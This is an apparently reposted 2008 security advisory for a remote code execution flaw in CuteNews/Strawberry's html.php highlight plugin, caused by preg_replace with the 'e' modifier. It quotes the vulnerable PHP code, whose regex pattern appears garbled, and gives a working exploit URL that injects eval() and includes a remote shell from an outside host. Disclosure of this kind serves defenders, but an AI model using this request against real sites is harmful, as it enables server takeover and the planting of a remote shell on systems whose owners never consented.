CuteNews 1.1.1 (html.php) Remote Code Execution Vulnerability

2008-01-06 00:00:00

----[ CuteNews Remote Code Execution ... ITDefence.ru Antichat.ru ]

Strawberry (CuteNews) Remote Code Execution
Eugene Minaev [email protected]
___________________________________________________________________
____/ __ __ _______________________ _______ _______________ \ \ \
/ .\ / /_// // / \ \/ __ \ /__/ /
/ / /_// /\ / / / / /___/
\/ / / / / /\ / / /
/ / \/ / / / / /__ //\
\ / ____________/ / \/ __________// /__ // /
/\\ \_______/ \________________/____/ 2007 /_//_/ // //\
\ \\ // // /
.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
. \_\\________[________________________________________]_________//_//_/ . .

Preg_replace with 'e' modifier allows code execution
<?php

$source = htmlspecialchars($text);

$source = preg_replace(
'//es',
'"<span style=\"color: ".$options["color"]["comment"].";\">",
str_replace("=","=",
"$1")).
"--></span>"',
$source);

?>

strawberry/plugins/wacko/highlight/html.php?text=%3C!--{${eval($s)}}--%3E&s=include('blackybr.nm.ru/shell');

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.